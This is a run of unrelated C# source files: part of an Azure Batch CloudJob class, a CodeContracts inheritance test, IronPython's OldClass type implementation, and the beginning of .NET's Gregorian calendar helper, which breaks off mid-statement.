ExecutionInformation { get { return this.propertyContainer.ExecutionInformationProperty.Value; } } /// <summary> /// Gets or sets the id of the job. /// </summary> public string Id { get { return this.propertyContainer.IdProperty.Value; } set { this.propertyContainer.IdProperty.Value = value; } } /// <summary> /// Gets or sets the Job Manager task. The Job Manager task is launched when the <see cref="CloudJob"/> is started. /// </summary> public JobManagerTask JobManagerTask { get { return this.propertyContainer.JobManagerTaskProperty.Value; } set { this.propertyContainer.JobManagerTaskProperty.Value = value; } } /// <summary> /// Gets or sets the Job Preparation task. The Batch service will run the Job Preparation task on a compute node /// before starting any tasks of that job on that compute node. /// </summary> public JobPreparationTask JobPreparationTask { get { return this.propertyContainer.JobPreparationTaskProperty.Value; } set { this.propertyContainer.JobPreparationTaskProperty.Value = value; } } /// <summary> /// Gets or sets the Job Release task. The Batch service runs the Job Release task when the job ends, on each compute /// node where any task of the job has run. /// </summary> public JobReleaseTask JobReleaseTask { get { return this.propertyContainer.JobReleaseTaskProperty.Value; } set { this.propertyContainer.JobReleaseTaskProperty.Value = value; } } /// <summary> /// Gets the last modified time of the job. /// </summary> public DateTime? LastModified { get { return this.propertyContainer.LastModifiedProperty.Value; } } /// <summary> /// Gets or sets a list of name-value pairs associated with the job as metadata. /// </summary> public IList<MetadataItem> Metadata { get { return this.propertyContainer.MetadataProperty.Value; } set { this.propertyContainer.MetadataProperty.Value = ConcurrentChangeTrackedModifiableList<MetadataItem>.TransformEnumerableToConcurrentModifiableList(value); } } /// <summary> /// Gets or sets the action the Batch service should take when all tasks in the job are in the <see cref="Common.JobState.Completed"/> /// state. /// </summary> public Common.OnAllTasksComplete? OnAllTasksComplete { get { return this.propertyContainer.OnAllTasksCompleteProperty.Value; } set { this.propertyContainer.OnAllTasksCompleteProperty.Value = value; } } /// <summary> /// Gets or sets the action the Batch service should take when any task in the job fails. /// </summary> /// <remarks> /// A task is considered to have failed if it completes with a non-zero exit code and has exhausted its retry count, /// or if it had a scheduling error. /// </remarks> public Common.OnTaskFailure? OnTaskFailure { get { return this.propertyContainer.OnTaskFailureProperty.Value; } set { this.propertyContainer.OnTaskFailureProperty.Value = value; } } /// <summary> /// Gets or sets the pool on which the Batch service runs the job's tasks. /// </summary> public PoolInformation PoolInformation { get { return this.propertyContainer.PoolInformationProperty.Value; } set { this.propertyContainer.PoolInformationProperty.Value = value; } } /// <summary> /// Gets the previous state of the job. /// </summary> /// <remarks> /// If the job is in its initial <see cref="Common.JobState.Active"/> state, the PreviousState property is not defined. /// </remarks> public Common.JobState? PreviousState { get { return this.propertyContainer.PreviousStateProperty.Value; } } /// <summary> /// Gets the time at which the job entered its previous state. /// </summary> /// <remarks> /// If the job is in its initial <see cref="Common.JobState.Active"/> state, the PreviousStateTransitionTime property /// is not defined. /// </remarks> public DateTime? PreviousStateTransitionTime { get { return this.propertyContainer.PreviousStateTransitionTimeProperty.Value; } } /// <summary> /// Gets or sets the priority of the job. Priority values can range from -1000 to 1000, with -1000 being the lowest /// priority and 1000 being the highest priority. /// </summary> /// <remarks> /// The default value is 0. /// </remarks> public int? Priority { get { return this.propertyContainer.PriorityProperty.Value; } set { this.propertyContainer.PriorityProperty.Value = value; } } /// <summary> /// Gets the current state of the job. /// </summary> public Common.JobState? State { get { return this.propertyContainer.StateProperty.Value; } } /// <summary> /// Gets the time at which the job entered its current state. /// </summary> public DateTime? StateTransitionTime { get { return this.propertyContainer.StateTransitionTimeProperty.Value; } } /// <summary> /// Gets resource usage statistics for the entire lifetime of the job. /// </summary> /// <remarks> /// This property is populated only if the <see cref="CloudJob"/> was retrieved with an <see cref="ODATADetailLevel.ExpandClause"/> /// including the 'stats' attribute; otherwise it is null. The statistics may not be immediately available. The Batch /// service performs periodic roll-up of statistics. The typical delay is about 30 minutes. /// </remarks> public JobStatistics Statistics { get { return this.propertyContainer.StatisticsProperty.Value; } } /// <summary> /// Gets the URL of the job. /// </summary> public string Url { get { return this.propertyContainer.UrlProperty.Value; } } /// <summary> /// Gets or sets whether tasks in the job can define dependencies on each other. /// </summary> /// <remarks> /// The default value is false. /// </remarks> public bool? UsesTaskDependencies { get { return this.propertyContainer.UsesTaskDependenciesProperty.Value; } set { this.propertyContainer.UsesTaskDependenciesProperty.Value = value; } } #endregion // CloudJob #region IPropertyMetadata bool IModifiable.HasBeenModified { get { return this.propertyContainer.HasBeenModified; } } bool IReadOnly.IsReadOnly { get { return this.propertyContainer.IsReadOnly; } set { this.propertyContainer.IsReadOnly = value; } } #endregion //IPropertyMetadata #region Internal/private methods /// <summary> /// Return a protocol object of the requested type. /// </summary> /// <returns>The protocol object of the requested type.</returns> Models.JobAddParameter ITransportObjectProvider<Models.JobAddParameter>.GetTransportObject() { Models.JobAddParameter result = new Models.JobAddParameter() { CommonEnvironmentSettings = UtilitiesInternal.ConvertToProtocolCollection(this.CommonEnvironmentSettings), Constraints = UtilitiesInternal.CreateObjectWithNullCheck(this.Constraints, (o) => o.GetTransportObject()), DisplayName = this.DisplayName, Id = this.Id, JobManagerTask = UtilitiesInternal.CreateObjectWithNullCheck(this.JobManagerTask, (o) => o.GetTransportObject()), JobPreparationTask = UtilitiesInternal.CreateObjectWithNullCheck(this.JobPreparationTask, (o) => o.GetTransportObject()), JobReleaseTask = UtilitiesInternal.CreateObjectWithNullCheck(this.JobReleaseTask, (o) => o.GetTransportObject()), Metadata = UtilitiesInternal.ConvertToProtocolCollection(this.Metadata), OnAllTasksComplete = UtilitiesInternal.MapNullableEnum<Common.OnAllTasksComplete, Models.OnAllTasksComplete>(this.OnAllTasksComplete), OnTaskFailure = UtilitiesInternal.MapNullableEnum<Common.OnTaskFailure, Models.OnTaskFailure>(this.OnTaskFailure), PoolInfo = UtilitiesInternal.CreateObjectWithNullCheck(this.PoolInformation, (o) => o.GetTransportObject()), Priority = this.Priority, UsesTaskDependencies = this.UsesTaskDependencies, }; return result; } #endregion // Internal/private methods } }
// CodeContracts // // Copyright (c) Microsoft Corporation // // All rights reserved. // // MIT License // // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. using System; using System.Collections.Generic; using System.Text; using System.Diagnostics.Contracts; using ManualInheritanceChain; namespace ManualInheritanceChain { public class Level1 : BaseOfChain { public override void Test(int x) { #if LEGACY if (x <= 0) throw new ArgumentException("Level 1: x must be positive"); Contract.EndContractBlock(); #endif } // This is here so that the call to Test will get the callsiterequires // treatment. public void CallTest(int x) { Test(x); } } [ContractClass(typeof(Level2Contract))] public abstract class Level2 : Level1 { public override void Test(int x) { #if LEGACY if (x <= 0) throw new ArgumentException("Level 2: x must be positive"); Contract.EndContractBlock(); #endif } public abstract void Test(string s); [Pure] protected abstract bool IsNonEmpty(string s); } [ContractClassFor(typeof(Level2))] abstract class Level2Contract : Level2 { public override void Test(string s) { Contract.Requires<ArgumentNullException>(s != null); } protected override bool IsNonEmpty(string s) { Contract.Requires(s != null); throw new NotImplementedException(); } } public class Level3 : Level2 { public override void Test(int x) { #if LEGACY if (x <= 0) throw new ArgumentException("Level 3: x must be positive"); Contract.EndContractBlock(); #endif } // This is here so that the call to Test will get the callsiterequires // treatment. public new void CallTest(int x) { Test(x); } public override void Test(string s) { #if LEGACY if (s == null) throw new ArgumentNullException(null, "Precondition failed: s != null"); Contract.EndContractBlock(); #endif } protected override bool IsNonEmpty(string s) { return !String.IsNullOrEmpty(s); } public bool TestIsNonEmpty(string s) { return IsNonEmpty(s); } } public class Level4 : Level3 { public override void Test(int x) { #if LEGACY if (x <= 0) throw new ArgumentException("Level 4: x must be positive"); Contract.EndContractBlock(); #endif } // This is here so that the call to Test will get the callsiterequires // treatment. public new void CallTest(int x) { Test(x); } public override void Test(string s) { #if LEGACY if (s == null) throw new ArgumentNullException("Level 4: s"); Contract.EndContractBlock(); #endif } // This is here so that the call to Test will get the callsiterequires // treatment. public void CallTest(string s) { Test(s); } } } namespace ManualInheritanceChainWithHelpers { class HelperClass { #if LEGACY [ContractArgumentValidator] #else [ContractAbbreviator] #endif public static void MustBePositive(int x, string message, string name) { #if LEGACY if (x <= 0) throw new ArgumentException(message, name); Contract.EndContractBlock(); #else Contract.Requires<ArgumentException>(x > 0, String.Format("{0} must be positive", name)); #endif } #if LEGACY [ContractArgumentValidator] #else [ContractAbbreviator] #endif public static void NotNull(string s, string name, string message) { #if LEGACY if (s == null) throw new ArgumentNullException(name, message); Contract.EndContractBlock(); #else Contract.Requires<ArgumentNullException>(s != null, name); #endif } #if LEGACY [ContractArgumentValidator] #else [ContractAbbreviator] #endif public static void NotNull(string s, string name) { #if LEGACY if (s == null) throw new ArgumentNullException(name); Contract.EndContractBlock(); #else Contract.Requires<ArgumentNullException>(s != null, name); #endif } #if LEGACY [ContractArgumentValidator] #else [ContractAbbreviator] #endif internal static void NotNan(double d, string name) { #if LEGACY if (double.IsNaN(d)) throw new ArgumentOutOfRangeException(name); Contract.EndContractBlock(); #else Contract.Requires<ArgumentOutOfRangeException>(!double.IsNaN(d), name); #endif } } public class Level1 : BaseOfChain { public override void Test(int x) { #if LEGACY HelperClass.MustBePositive(x, "Level 1: x", "x must be positive"); #endif } public virtual void TestDouble(double d) { HelperClass.NotNan(d, "d"); } } [ContractClass(typeof(Level2Contract))] public abstract class Level2 : Level1 { public override void Test(int x) { #if LEGACY HelperClass.MustBePositive(x, "Level 2: x", "x must be positive"); #endif } public abstract void Test(string s); [Pure] protected abstract bool IsNonEmpty(string s); public override void TestDouble(double x) { #if LEGACY HelperClass.NotNan(x, "x"); #endif } } [ContractClassFor(typeof(Level2))] abstract class Level2Contract : Level2 { public override void Test(string s) { Contract.Requires<ArgumentNullException>(s != null, "s"); } protected override bool IsNonEmpty(string s) { Contract.Requires(s != null); throw new NotImplementedException(); } } public class Level3 : Level2 { public override void Test(int x) { #if LEGACY HelperClass.MustBePositive(x, "Level 3: x", "x must be positive"); #endif } public override void Test(string s) { #if LEGACY HelperClass.NotNull(s, "s", "Precondition failed: s != null"); #endif } protected override bool IsNonEmpty(string s) { return !String.IsNullOrEmpty(s); } public bool TestIsNonEmpty(string s) { return IsNonEmpty(s); } public override void TestDouble(double d) { #if LEGACY HelperClass.NotNan(d, "d"); #endif } } public class Level4 : Level3 { public override void Test(int x) { #if LEGACY HelperClass.MustBePositive(x, "Level 4: x", "x must be positive"); #endif } public override void Test(string s) { #if LEGACY HelperClass.NotNull(s, "s", "Level 4: s"); #endif } public override void TestDouble(double d) { #if LEGACY HelperClass.NotNan(d, "d"); #endif } } }
/* **************************************************************************** * * Copyright (c) Microsoft Corporation. * * This source code is subject to terms and conditions of the Apache License, Version 2.0. A * copy of the license can be found in the License.html file at the root of this distribution. If * you cannot locate the Apache License, Version 2.0, please send an email to * [email protected]. By using this source code in any fashion, you are agreeing to be bound * by the terms of the Apache License, Version 2.0. * * You must not remove this notice, or any other, from this software. * * * ***************************************************************************/ #if FEATURE_CORE_DLR using System.Linq.Expressions; #else using Microsoft.Scripting.Ast; #endif using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.Dynamic; using System.Runtime.Serialization; using System.Threading; using Microsoft.Scripting; using Microsoft.Scripting.Runtime; using Microsoft.Scripting.Utils; using IronPython.Runtime.Operations; using SpecialNameAttribute = System.Runtime.CompilerServices.SpecialNameAttribute; namespace IronPython.Runtime.Types { // OldClass represents the type of old-style Python classes (which could not inherit from // built-in Python types). // // Object instances of old-style Python classes are represented by OldInstance. // // UserType is the equivalent of OldClass for new-style Python classes (which can inherit // from built-in types). [Flags] enum OldClassAttributes { None = 0x00, HasFinalizer = 0x01, HasSetAttr = 0x02, HasDelAttr = 0x04, } [PythonType("classobj"), DontMapGetMemberNamesToDir] [Serializable] [DebuggerTypeProxy(typeof(OldClass.OldClassDebugView)), DebuggerDisplay("old-style class {Name}")] public sealed class OldClass : #if FEATURE_CUSTOM_TYPE_DESCRIPTOR ICustomTypeDescriptor, #endif ICodeFormattable, IMembersList, IDynamicMetaObjectProvider, IPythonMembersList, IWeakReferenceable { [NonSerialized] private List<OldClass> _bases; private PythonType _type; internal PythonDictionary _dict; private int _attrs; // actually OldClassAttributes - losing type safety for thread safety internal object _name; private int _optimizedInstanceNamesVersion; private string[] _optimizedInstanceNames; private WeakRefTracker _tracker; public static string __doc__ = "classobj(name, bases, dict)"; public static object __new__(CodeContext/*!*/ context, [NotNull]PythonType cls, string name, PythonTuple bases, PythonDictionary/*!*/ dict) { if (dict == null) { throw PythonOps.TypeError("dict must be a dictionary"); } else if (cls != TypeCache.OldClass) { throw PythonOps.TypeError("{0} is not a subtype of classobj", cls.Name); } if (!dict.ContainsKey("__module__")) { object moduleValue; if (context.TryGetGlobalVariable("__name__", out moduleValue)) { dict["__module__"] = moduleValue; } } foreach (object o in bases) { if (o is PythonType) { return PythonOps.MakeClass(context, name, bases._data, String.Empty, dict); } } return new OldClass(name, bases, dict, String.Empty); } internal OldClass(string name, PythonTuple bases, PythonDictionary/*!*/ dict, string instanceNames) { _bases = ValidateBases(bases); Init(name, dict, instanceNames); } private void Init(string name, PythonDictionary/*!*/ dict, string instanceNames) { _name = name; InitializeInstanceNames(instanceNames); _dict = dict; if (!_dict._storage.Contains("__doc__")) { _dict._storage.Add(ref _dict._storage, "__doc__", null); } CheckSpecialMethods(_dict); } private void CheckSpecialMethods(PythonDictionary dict) { if (dict._storage.Contains("__del__")) { HasFinalizer = true; } if (dict._storage.Contains("__setattr__")) { HasSetAttr = true; } if (dict._storage.Contains("__delattr__")) { HasDelAttr = true; } foreach (OldClass oc in _bases) { if (oc.HasDelAttr) { HasDelAttr = true; } if (oc.HasSetAttr) { HasSetAttr = true; } if (oc.HasFinalizer) { HasFinalizer = true; } } } #if FEATURE_SERIALIZATION private OldClass(SerializationInfo info, StreamingContext context) { _bases = (List<OldClass>)info.GetValue("__class__", typeof(List<OldClass>)); _name = info.GetValue("__name__", typeof(object)); _dict = new PythonDictionary(); InitializeInstanceNames(""); //TODO should we serialize the optimization data List<object> keys = (List<object>)info.GetValue("keys", typeof(List<object>)); List<object> values = (List<object>)info.GetValue("values", typeof(List<object>)); for (int i = 0; i < keys.Count; i++) { _dict[keys[i]] = values[i]; } if (_dict.has_key("__del__")) HasFinalizer = true; } #pragma warning disable 169 // unused method - called via reflection from serialization [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA1801:ReviewUnusedParameters", MessageId = "context")] private void GetObjectData(SerializationInfo info, StreamingContext context) { ContractUtils.RequiresNotNull(info, "info"); info.AddValue("__bases__", _bases); info.AddValue("__name__", _name); List<object> keys = new List<object>(); List<object> values = new List<object>(); foreach (KeyValuePair<object, object> kvp in _dict._storage.GetItems()) { keys.Add(kvp.Key); values.Add(kvp.Value); } info.AddValue("keys", keys); info.AddValue("values", values); } #pragma warning restore 169 #endif private void InitializeInstanceNames(string instanceNames) { if (instanceNames.Length == 0) { _optimizedInstanceNames = ArrayUtils.EmptyStrings; _optimizedInstanceNamesVersion = 0; return; } string[] names = instanceNames.Split(','); _optimizedInstanceNames = new string[names.Length]; for (int i = 0; i < names.Length; i++) { _optimizedInstanceNames[i] = names[i]; } _optimizedInstanceNamesVersion = CustomInstanceDictionaryStorage.AllocateVersion(); } internal string[] OptimizedInstanceNames { get { return _optimizedInstanceNames; } } internal int OptimizedInstanceNamesVersion { get { return _optimizedInstanceNamesVersion; } } internal string Name { get { return _name.ToString(); } } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1007:UseGenericsWhereAppropriate")] internal bool TryLookupSlot(string name, out object ret) { if (_dict._storage.TryGetValue(name, out ret)) { return true; } // bases only ever contains OldClasses (tuples are immutable, and when assigned // to we verify the types in the Tuple) foreach (OldClass c in _bases) { if (c.TryLookupSlot(name, out ret)) return true; } ret = null; return false; } internal bool TryLookupOneSlot(PythonType lookingType, string name, out object ret) { if (_dict._storage.TryGetValue(name, out ret)) { ret = GetOldStyleDescriptor(TypeObject.Context.SharedContext, ret, null, lookingType); return true; } return false; } internal string FullName { get { return _dict["__module__"].ToString() + '.' + _name; } } internal List<OldClass> BaseClasses { get { return _bases; } } internal object GetOldStyleDescriptor(CodeContext context, object self, object instance, object type) { PythonTypeSlot dts = self as PythonTypeSlot; object callable; if (dts != null && dts.TryGetValue(context, instance, TypeObject, out callable)) { return callable; } return PythonOps.GetUserDescriptor(self, instance, type); } internal static object GetOldStyleDescriptor(CodeContext context, object self, object instance, PythonType type) { PythonTypeSlot dts = self as PythonTypeSlot; object callable; if (dts != null && dts.TryGetValue(context, instance, type, out callable)) { return callable; } return PythonOps.GetUserDescriptor(self, instance, type); } internal bool HasFinalizer { get { return (_attrs & (int)OldClassAttributes.HasFinalizer) != 0; } set { int oldAttrs, newAttrs; do { oldAttrs = _attrs; newAttrs = value ? oldAttrs | ((int)OldClassAttributes.HasFinalizer) : oldAttrs & ((int)~OldClassAttributes.HasFinalizer); } while (Interlocked.CompareExchange(ref _attrs, newAttrs, oldAttrs) != oldAttrs); } } internal bool HasSetAttr { get { return (_attrs & (int)OldClassAttributes.HasSetAttr) != 0; } set { int oldAttrs, newAttrs; do { oldAttrs = _attrs; newAttrs = value ? oldAttrs | ((int)OldClassAttributes.HasSetAttr) : oldAttrs & ((int)~OldClassAttributes.HasSetAttr); } while (Interlocked.CompareExchange(ref _attrs, newAttrs, oldAttrs) != oldAttrs); } } internal bool HasDelAttr { get { return (_attrs & (int)OldClassAttributes.HasDelAttr) != 0; } set { int oldAttrs, newAttrs; do { oldAttrs = _attrs; newAttrs = value ? oldAttrs | ((int)OldClassAttributes.HasDelAttr) : oldAttrs & ((int)~OldClassAttributes.HasDelAttr); } while (Interlocked.CompareExchange(ref _attrs, newAttrs, oldAttrs) != oldAttrs); } } public override string ToString() { return FullName; } #region Calls // Calling an OldClass instance means instantiating that class and invoking the __init__() member if // it's defined. // OldClass impls IDynamicMetaObjectProvider. But May wind up here still if IDynamicObj doesn't provide a rule (such as for list sigs). // If our IDynamicMetaObjectProvider implementation is complete, we can then remove these Call methods. [SpecialName] public object Call(CodeContext context, [NotNull]params object[] args\u00F8) { OldInstance inst = new OldInstance(context, this); object value; // lookup the slot directly - we don't go through __getattr__ // until after the instance is created. if (TryLookupSlot("__init__", out value)) { PythonOps.CallWithContext(context, GetOldStyleDescriptor(context, value, inst, this), args\u00F8); } else if (args\u00F8.Length > 0) { MakeCallError(); } return inst; } [SpecialName] public object Call(CodeContext context, [ParamDictionary]IDictionary<object, object> dict\u00F8, [NotNull]params object[] args\u00F8) { OldInstance inst = new OldInstance(context, this); object meth; if (PythonOps.TryGetBoundAttr(inst, "__init__", out meth)) { PythonCalls.CallWithKeywordArgs(context, meth, args\u00F8, dict\u00F8); } else if (dict\u00F8.Count > 0 || args\u00F8.Length > 0) { MakeCallError(); } return inst; } #endregion // calls internal PythonType TypeObject { get { if (_type == null) { Interlocked.CompareExchange(ref _type, new PythonType(this), null); } return _type; } } private List<OldClass> ValidateBases(object value) { PythonTuple t = value as PythonTuple; if (t == null) throw PythonOps.TypeError("__bases__ must be a tuple object"); List<OldClass> res = new List<OldClass>(t.__len__()); foreach (object o in t) { OldClass oc = o as OldClass; if (oc == null) throw PythonOps.TypeError("__bases__ items must be classes (got {0})", PythonTypeOps.GetName(o)); if (oc.IsSubclassOf(this)) { throw PythonOps.TypeError("a __bases__ item causes an inheritance cycle"); } res.Add(oc); } return res; } internal object GetMember(CodeContext context, string name) { object value; if (!TryGetBoundCustomMember(context, name, out value)) { throw PythonOps.AttributeError("type object '{0}' has no attribute '{1}'", Name, name); } return value; } internal bool TryGetBoundCustomMember(CodeContext context, string name, out object value) { if (name == "__bases__") { value = PythonTuple.Make(_bases); return true; } if (name == "__name__") { value = _name; return true; } if (name == "__dict__") { //!!! user code can modify __del__ property of __dict__ behind our back HasDelAttr = HasSetAttr = true; // pessimisticlly assume the user is setting __setattr__ in the dict value = _dict; return true; } if (TryLookupSlot(name, out value)) { value = GetOldStyleDescriptor(context, value, null, this); return true; } return false; } internal bool DeleteCustomMember(CodeContext context, string name) { if (!_dict._storage.Remove(ref _dict._storage, name)) { throw PythonOps.AttributeError("{0} is not a valid attribute", name); } if (name == "__del__") { HasFinalizer = false; } if (name == "__setattr__") { HasSetAttr = false; } if (name == "__delattr__") { HasDelAttr = false; } return true; } internal static void RecurseAttrHierarchy(OldClass oc, IDictionary<object, object> attrs) { foreach (KeyValuePair<object, object> kvp in oc._dict._storage.GetItems()) { if (!attrs.ContainsKey(kvp.Key)) { attrs.Add(kvp.Key, kvp.Key); } } // recursively get attrs in parent hierarchy if (oc._bases.Count != 0) { foreach (OldClass parent in oc._bases) { RecurseAttrHierarchy(parent, attrs); } } } #region IMembersList Members IList<string> IMembersList.GetMemberNames() { return PythonOps.GetStringMemberList(this); } IList<object> IPythonMembersList.GetMemberNames(CodeContext/*!*/ context) { PythonDictionary attrs = new PythonDictionary(_dict); RecurseAttrHierarchy(this, attrs); return PythonOps.MakeListFromSequence(attrs); } #endregion internal bool IsSubclassOf(object other) { if (this == other) return true; OldClass dt = other as OldClass; if (dt == null) return false; List<OldClass> bases = _bases; foreach (OldClass bc in bases) { if (bc.IsSubclassOf(other)) { return true; } } return false; } #region ICustomTypeDescriptor Members #if FEATURE_CUSTOM_TYPE_DESCRIPTOR AttributeCollection ICustomTypeDescriptor.GetAttributes() { return CustomTypeDescHelpers.GetAttributes(this); } string ICustomTypeDescriptor.GetClassName() { return CustomTypeDescHelpers.GetClassName(this); } string ICustomTypeDescriptor.GetComponentName() { return CustomTypeDescHelpers.GetComponentName(this); } TypeConverter ICustomTypeDescriptor.GetConverter() { return CustomTypeDescHelpers.GetConverter(this); } EventDescriptor ICustomTypeDescriptor.GetDefaultEvent() { return CustomTypeDescHelpers.GetDefaultEvent(this); } PropertyDescriptor ICustomTypeDescriptor.GetDefaultProperty() { return CustomTypeDescHelpers.GetDefaultProperty(this); } object ICustomTypeDescriptor.GetEditor(Type editorBaseType) { return CustomTypeDescHelpers.GetEditor(this, editorBaseType); } EventDescriptorCollection ICustomTypeDescriptor.GetEvents(Attribute[] attributes) { return CustomTypeDescHelpers.GetEvents(attributes); } EventDescriptorCollection ICustomTypeDescriptor.GetEvents() { return CustomTypeDescHelpers.GetEvents(this); } PropertyDescriptorCollection ICustomTypeDescriptor.GetProperties(Attribute[] attributes) { return CustomTypeDescHelpers.GetProperties(attributes); } PropertyDescriptorCollection ICustomTypeDescriptor.GetProperties() { return CustomTypeDescHelpers.GetProperties(this); } object ICustomTypeDescriptor.GetPropertyOwner(PropertyDescriptor pd) { return CustomTypeDescHelpers.GetPropertyOwner(this, pd); } #endif #endregion #region ICodeFormattable Members public string/*!*/ __repr__(CodeContext/*!*/ context) { return string.Format("<class {0} at {1}>", FullName, PythonOps.HexId(this)); } #endregion #region Internal Member Accessors internal bool TryLookupInit(object inst, out object ret) { if (TryLookupSlot("__init__", out ret)) { ret = GetOldStyleDescriptor(DefaultContext.Default, ret, inst, this); return true; } return false; } internal static object MakeCallError() { // Normally, if we have an __init__ method, the method binder detects signature mismatches. // This can happen when a class does not define __init__ and therefore does not take any arguments. // Beware that calls like F(*(), **{}) have 2 arguments but they're empty and so it should still // match against def F(). throw PythonOps.TypeError("this constructor takes no arguments"); } internal void SetBases(object value) { _bases = ValidateBases(value); } internal void SetName(object value) { string n = value as string; if (n == null) throw PythonOps.TypeError("TypeError: __name__ must be a string object"); _name = n; } internal void SetDictionary(object value) { PythonDictionary d = value as PythonDictionary; if (d == null) throw PythonOps.TypeError("__dict__ must be set to dictionary"); _dict = d; } internal void SetNameHelper(string name, object value) { _dict._storage.Add(ref _dict._storage, name, value); if (name == "__del__") { HasFinalizer = true; } else if (name == "__setattr__") { HasSetAttr = true; } else if (name == "__delattr__") { HasDelAttr = true; } } internal object LookupValue(CodeContext context, string name) { object value; if (TryLookupValue(context, name, out value)) { return value; } throw PythonOps.AttributeErrorForMissingAttribute(this, name); } internal bool TryLookupValue(CodeContext context, string name, out object value) { if (TryLookupSlot(name, out value)) { value = GetOldStyleDescriptor(context, value, null, this); return true; } return false; } internal void DictionaryIsPublic() { HasDelAttr = true; HasSetAttr = true; } #endregion #region IDynamicMetaObjectProvider Members DynamicMetaObject/*!*/ IDynamicMetaObjectProvider.GetMetaObject(Expression/*!*/ parameter) { return new Binding.MetaOldClass(parameter, BindingRestrictions.Empty, this); } #endregion internal class OldClassDebugView { private readonly OldClass _class; public OldClassDebugView(OldClass klass) { _class = klass; } public List<OldClass> __bases__ { get { return _class.BaseClasses; } } [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] internal List<ObjectDebugView> Members { get { var res = new List<ObjectDebugView>(); if (_class._dict != null) { foreach (var v in _class._dict) { res.Add(new ObjectDebugView(v.Key, v.Value)); } } return res; } } } #region IWeakReferenceable Members WeakRefTracker IWeakReferenceable.GetWeakRef() { return _tracker; } bool IWeakReferenceable.SetWeakRef(WeakRefTracker value) { _tracker = value; return true; } void IWeakReferenceable.SetFinalizer(WeakRefTracker value) { _tracker = value; } #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. namespace System.Globalization { using System; using System.Runtime.Serialization; using System.Threading; using System.Diagnostics.Contracts; // Gregorian Calendars use Era Info // Note: We shouldn't have to serialize this since the info doesn't change, but we have been. // (We really only need the calendar #, and maybe culture) [Serializable] internal class EraInfo { internal int era; // The value of the era. internal long ticks; // The time in ticks when the era starts internal int yearOffset; // The offset to Gregorian year when the era starts. // Gregorian Year = Era Year + yearOffset // Era Year = Gregorian Year - yearOffset internal int minEraYear; // Min year value in this era. Generally, this value is 1, but this may // be affected by the DateTime.MinValue; internal int maxEraYear; // Max year value in this era. (== the year length of the era + 1) [OptionalField(VersionAdded = 4)] internal String eraName; // The era name [OptionalField(VersionAdded = 4)] internal String abbrevEraName; // Abbreviated Era Name [OptionalField(VersionAdded = 4)] internal String englishEraName; // English era name internal EraInfo(int era, int startYear, int startMonth, int startDay, int yearOffset, int minEraYear, int maxEraYear) { this.era = era; this.yearOffset = yearOffset; this.minEraYear = minEraYear; this.maxEraYear = maxEraYear; this.ticks = new DateTime(startYear, startMonth, startDay).Ticks; } internal EraInfo(int era, int startYear, int startMonth, int startDay, int yearOffset, int minEraYear, int maxEraYear, String eraName, String abbrevEraName, String englishEraName) { this.era = era; this.yearOffset = yearOffset; this.minEraYear = minEraYear; this.maxEraYear = maxEraYear; this.ticks = new DateTime(startYear, startMonth, startDay).Ticks; this.eraName = eraName; this.abbrevEraName = abbrevEraName; this.englishEraName = englishEraName; } } // This calendar recognizes two era values: // 0 CurrentEra (AD) // 1 BeforeCurrentEra (BC) [Serializable] internal class GregorianCalendarHelper { // 1 tick = 100ns = 10E-7 second // Number of ticks per time unit internal const long TicksPerMillisecond = 10000; internal const long TicksPerSecond = TicksPerMillisecond * 1000; internal const long TicksPerMinute = TicksPerSecond * 60; internal const long TicksPerHour = TicksPerMinute * 60; internal const long TicksPerDay = TicksPerHour * 24; // Number of milliseconds per time unit internal const int MillisPerSecond = 1000; internal const int MillisPerMinute = MillisPerSecond * 60; internal const int MillisPerHour = MillisPerMinute * 60; internal const int MillisPerDay = MillisPerHour * 24; // Number of days in a non-leap year internal const int DaysPerYear = 365; // Number of days in 4 years internal const int DaysPer4Years = DaysPerYear * 4 + 1; // Number of days in 100 years internal const int DaysPer100Years = DaysPer4Years * 25 - 1; // Number of days in 400 years internal const int DaysPer400Years = DaysPer100Years * 4 + 1; // Number of days from 1/1/0001 to 1/1/10000 internal const int DaysTo10000 = DaysPer400Years * 25 - 366; internal const long MaxMillis = (long)DaysTo10000 * MillisPerDay; internal const int DatePartYear = 0; internal const int DatePartDayOfYear = 1; internal const int DatePartMonth = 2; internal const int DatePartDay = 3; // // This is the max Gregorian year can be represented by DateTime class. The limitation // is derived from DateTime class. // internal int MaxYear { get { return (m_maxYear); } } internal static readonly int[] DaysToMonth365 = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }; internal static readonly int[] DaysToMonth366 = { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }; // Strictly these don't need serialized since they can be recreated from the calendar id [OptionalField(VersionAdded = 1)] internal int m_maxYear = 9999; [OptionalField(VersionAdded = 1)] internal int m_minYear; internal Calendar m_Cal; // Era information doesn't need serialized, its constant for the same calendars (ie: we can recreate it from the calendar id) [OptionalField(VersionAdded = 1)] internal EraInfo[] m_EraInfo; [OptionalField(VersionAdded = 1)] internal int[] m_eras = null; // m_minDate is existing here just to keep the serialization compatibility. // it has nothing to do with the code anymore. [OptionalField(VersionAdded = 1)] internal DateTime m_minDate; // Construct an instance of gregorian calendar. internal GregorianCalendarHelper(Calendar cal, EraInfo[] eraInfo) { m_Cal = cal; m_EraInfo = eraInfo; // m_minDate is existing here just to keep the serialization compatibility. // it has nothing to do with the code anymore. m_minDate 